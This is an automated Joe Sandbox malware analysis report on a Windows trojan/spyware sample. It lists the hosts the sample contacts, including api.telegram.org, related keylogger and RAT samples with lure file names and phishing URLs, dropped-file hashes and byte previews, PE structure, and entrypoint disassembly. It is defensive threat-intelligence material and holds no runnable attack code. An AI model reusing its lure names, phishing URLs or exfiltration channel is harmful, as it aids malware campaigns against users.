https://reallyfreegeoip.org/xml/	VIAmJUhQ54.exe, 00000001.00000002.1289354649.0000000003690000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3712605161.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000008.00000002.3714455601.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.80.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587606
Start date and time:	2025-01-10 15:34:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VIAmJUhQ54.exe renamed because original name is a hash value
Original Sample Name:	b118fff1b6ca5b742655af56712876b102e632c1623091ebd3cc9a8d1a639f84.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 59 Number of non-executed functions: 294
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56, 52.149.20.212
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:35:03	API Interceptor	10874913x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse
	https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com/webmail.html	Get hash	malicious	HTMLPhisher	Browse
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	fiyati_teklif 65TBI20_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse
193.122.130.0	bd9Gvqt6AK.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	VSLS SCHEDULE_pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	bd9Gvqt6AK.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
reallyfreegeoip.org	bd9Gvqt6AK.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
api.telegram.org	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com/webmail.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fiyati_teklif 65TBI20_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://ranprojects0s0wemanin.nyc3.digitaloceanspaces.com/webmail.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fiyati_teklif 65TBI20_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Nuevo pedido.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Benefit_401k_2025_Enrollment.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	VYLigyTDuW.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	bd9Gvqt6AK.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	PO-0005082025 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.131.144
	zrNcqxZRSM.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	188.114.96.3
	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.48.1
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	https://samantacatering.com/	Get hash	malicious	Unknown	Browse	104.21.83.97
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	104.17.24.14
ORACLE-BMC-31898US	bd9Gvqt6AK.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	bd9Gvqt6AK.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	Salary Payment Information Discrepancy_pdf.pif.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	Tepe - 20000000826476479.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	PO#3_RKG367.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	SOA NOV. Gateway Freight_MEDWA0577842.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
	dekont garanti bbva_Ba#U015fka Bankaya Transfer 01112 img .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	#U0130LC#U0130 HOLD#U0130NG a.s fiyati_teklif 017867Sipari#U015fi jpeg doc .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
3b5074b1b5d032e5620f69f9f700ff0e	VYLigyTDuW.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	149.154.167.220
	PO#17971.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	149.154.167.220
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	XClient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	RFQ SHEETS PX2 MULE25 SHENZHEN LUCKY.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	149.154.167.220
	https://aqctslc.com/	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\VIAmJUhQ54.exe
File Type:	data
Category:	dropped
Size (bytes):	63518
Entropy (8bit):	7.885364824771334
Encrypted:	false
SSDEEP:	768:EngsoQ42oxw97x6I7Hp5FPzHQS4Ko/EPLB6p/uTiURZwwfK1TQir+pISqHz1DUl6:GgsoQYeAItncctPw5w3RjK1N+kXpb+u
MD5:	D92EE44D38FC5912CF8AF1B698121141
SHA1:	859E53FDADD17DFAD5B8B335612DC86ED05597DA
SHA-256:	DB599A5ABE44F06C3575190F94B36C9A3B25D5B91CE49DB47F0B8E4285BB5C78
SHA-512:	BBF47F36E85C34CFE07C3BBF0FB690216B377100FE9D0D722D8AAAC91EF13CA5B649D2B2AEF55A81E573009DDA98EA9FF55450A3AD98EC934D61E91E5072F5F8
Malicious:	false
Reputation:	low
Preview:	EA06..n..[.4:}6.P.R..6.oP..Sz$.2...SJ..C....`..N..( .....g..8N...g.>..=.;.&'..V..$..>..d...^M>..m.Y..E'..+s...a.M+s.5..D.D..3......Be.......RT..>.P..sz$....}.b.L..F.....w.Pn....2..Ff..Q.t.A..TbcK.lk3JM..]..h...x...@.N.9.......M..z......b4.....1...V..:..9..e4...v.:.J&...B.R.L....@....\|6I.N....h....H... .p.T..>.e6...N..)..oP..8? .B..8V+......R..T\|\|nH..7.B@..4.2..fSO....)[)..D...)....0......U....bgQ.........\|.3.{.....8&.....s2p..J.8M.........$`..`.s5...QD.Vc.Z\.9y.Vi4.>.G..T(..\|.E..&.I.Na3......N..'wJuf...Pj.j%.eS.l..).v=....u...K..i.z.....P.U9Lf.2.\a.....c.M.z..~.7...U)..v..Xl.z$.E.C.5...N..6...B;Z.^.3:\.={.R.t.M....K.U.t..A.\)5..Nm...".y...f...j=:.J.T-uk.V.@..s..np.......@.q.^.....eW.W=.).N%s..,.:..P.C..z......&.8..2.Vc...2.I.C)...f.1.Z`5)..ey.L...f`.._.?...ah.M.......g...f...Y\|.....d....B.7._.s)..5y..+.;$..P.R/...J......:\.iq...P........N_...f.h...s..).+..T.O@*.=J....&Q...9`..,.9.mH.s.#.\:.5.I. T..o$..F..l..H.R.\|I.K.E......:>.HM...e6.-......

C:\Users\user\AppData\Local\Temp\piceworth

Download File

Process:	C:\Users\user\Desktop\VIAmJUhQ54.exe
File Type:	data
Category:	dropped
Size (bytes):	93696
Entropy (8bit):	6.86093740383633
Encrypted:	false
SSDEEP:	1536:qAKOziZl1s50gatn61cW78t6tMDwz40sF3qRqe6NP6kMerky:qAv4l1s+gkn61H7tzOqReCkMWky
MD5:	8FDBE8A85B90F0C6A8466BB826E7844B
SHA1:	3BA1281651E8D994713AF106FFBA10D213D8E99A
SHA-256:	DB87941CF63BBBF07DEB20F425BF304E02227E8ED76279A59554DDB5E478188F
SHA-512:	6DEC71E3AAE2BD49334DDB0C4AF87FE78EA77DC6C63A24FF1852C6EA4632F2F4815ED4CD404E68D98E8B6A21D0F4801383244F22568D1B83086E0C84BDC626BB
Malicious:	false
Reputation:	low
Preview:	.n.COMIP2HPN..7P.PR7D2S2sK24Y4YCLMIP6HPNYN7PAPR7D2S23K24Y4YC.MIP8W.@Y.>.`.S{...ZZ8.D+[>1- i3W&>!-nU5a"'Yd[=.w.a.4[=&b@DZ.HPNYN7P..R7.3P2.qG.Y4YCLMIP.HROROgPA4S7D:S23K24W.XCLmIP6.QNYNwPApR7D0S27K24Y4YCHMIP6HPNY.6PARR7D2S21Kr.Y4ICL]IP6H@NY^7PAPR7T2S23K24Y4YC..HP}HPNY.6P.UR7D2S23K24Y4YCLMIP6.QNUN7PAPR7D2S23K24Y4YCLMIP6HPNYN7PAPR7D2S23K24Y4YCLMIP6hPNQN7PAPR7D2S2;k24.4YCLMIP6HPNw:R(5PR7PPR23k24YPXCLOIP6HPNYN7PAPR7d2SR.9AF:4YC.HIP6.QNYH7PA6S7D2S23K24Y4YC.MI..:5"6-7PMPR7D.R23I24YXXCLMIP6HPNYN7P.PRuD2S23K24Y4YCLMIP..QNYN7P.PR7F2V2+.24.YCOMIPlHPH9.7P.PR7D2S23K24Y4YCLMIP6HPNYN7PAPR7D2S23K24Y4YC.0._...'..PAPR7D3Q17M:<Y4YCLMIPHHPN.N7P.PR7s2S2.K2444YChMIPHHPN'N7P%PR762S2RK24.4YC#MIPXHPN'N7P_Rz(D2Y..K0.y4YILg.#.HPD.O7PE#p7D8.03K6Gz4YI.NIP2;tNYD.TAPVDa2S8.N24]..CO._V6HK!aN7ZAS."B2S).m26q.YCFMcv6K.[_N7KkrR5.;S27adGD4YEd.IP<<YNYL.ZAPV.Z0{q3K8.{JJCLIbP.j.ZYN3{AzpIQ2S6.K..'"YCHfIz.6GNYJ.PkVxUD@.>3;1[84YEd.IP<`.NYH7z{P,9D2W0\.24S.s.Le.P6NPf.N7VAx.7D4S.gK22Y..CLKIz.Hx.YN1Pi.R7B2y.35.4Y0uD2~IP2cF0hN7T.V7

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.823793125332036
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	VIAmJUhQ54.exe
File size:	987'648 bytes
MD5:	1110092c1603912d573ac4539ef601a2
SHA1:	c17d059f511e9695347a61fe40b917a6430c4c56
SHA256:	b118fff1b6ca5b742655af56712876b102e632c1623091ebd3cc9a8d1a639f84
SHA512:	344f388ecc29d7e0d435b6ef5d693b78309fc4834cb1e026be2ca24ce5472607cea80c940f15e8d8026ecaa9b48b4898800eefa31afda46f2dcd5dcbfd6df422
SSDEEP:	12288:Ptb20Qc3lT7af41ePBRYuQLKpqeUhbTv5OFgNuPPpHSgaTTiTv53K/4dZiKF6A:Ptb20pkaCqT5TBWgNQ7anCI/YZ/F6A
TLSH:	8725BF1373DDC361C7B25273BA25B701AEBF782506A1F96B2FD4093DE920122525EA73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d..............'.a.....H.k.....H.h.....H.i......}%......}5...............~.......k.......o.......1.......j.....Rich...........

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x425f74
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6746BCFE [Wed Nov 27 06:32:30 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	3d95adbf13bbe79dc24dccb401c12091

Entrypoint Preview

Instruction
call 00007F5970BF10BFh
jmp 00007F5970BE40D4h
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F5970BE425Ah
cmp edi, eax
jc 00007F5970BE45BEh
bt dword ptr [004C0158h], 01h
jnc 00007F5970BE4259h
rep movsb
jmp 00007F5970BE456Ch
cmp ecx, 00000080h
jc 00007F5970BE4424h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F5970BE4260h
bt dword ptr [004BA370h], 01h
jc 00007F5970BE4730h
bt dword ptr [004C0158h], 00000000h
jnc 00007F5970BE43FDh
test edi, 00000003h
jne 00007F5970BE440Eh
test esi, 00000003h
jne 00007F5970BE43EDh
bt edi, 02h
jnc 00007F5970BE425Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F5970BE4263h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F5970BE42B5h
bt esi, 03h
jnc 00007F5970BE4308h
movdqa xmm1, dqword ptr [esi+00h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2012 UPD4 build 61030
[RES] VS2012 UPD4 build 61030
[LNK] VS2012 UPD4 build 61030

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7004	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc4000	0x28180	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xed000	0x6c4c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x8d8d0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb2730	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b54f	0x8b600	f437a6545e938612764dbb0a314376fc	False	0.5699499019058296	data	6.680413749210956	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8d000	0x2cc42	0x2ce00	827ffd24759e8e420890ecf164be989e	False	0.330464397632312	data	5.770192333189168	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xba000	0x9d54	0x6200	e0a519f8e3a35fae0d9c2cfd5a4bacfc	False	0.16402264030612246	data	2.002691099965349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc4000	0x28180	0x28200	92510354b5d2933ed301fb8fc1b448a7	False	0.8364851051401869	data	7.6469202419063835	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xed000	0xa474	0xa600	0bc98f8631ef0bde830a7f83bb06ff08	False	0.5017884036144579	data	5.245426654116355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc45a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc46d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc47f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc4920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc4c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc4d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc5bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc6480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc69e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xc8f90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xca038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xca4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xca4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcaa84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcb110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xcb5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcbb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcc1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcc660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcc7b8	0x1f487	data			1.0003589963710149
RT_GROUP_ICON	0xebc40	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xebcb8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xebccc	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xebce0	0x14	data	English	Great Britain	1.25
RT_VERSION	0xebcf4	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xebdd0	0x3b0	ASCII text, with CRLF line terminators	English	Great Britain	0.5116525423728814

Imports

DLL	Import
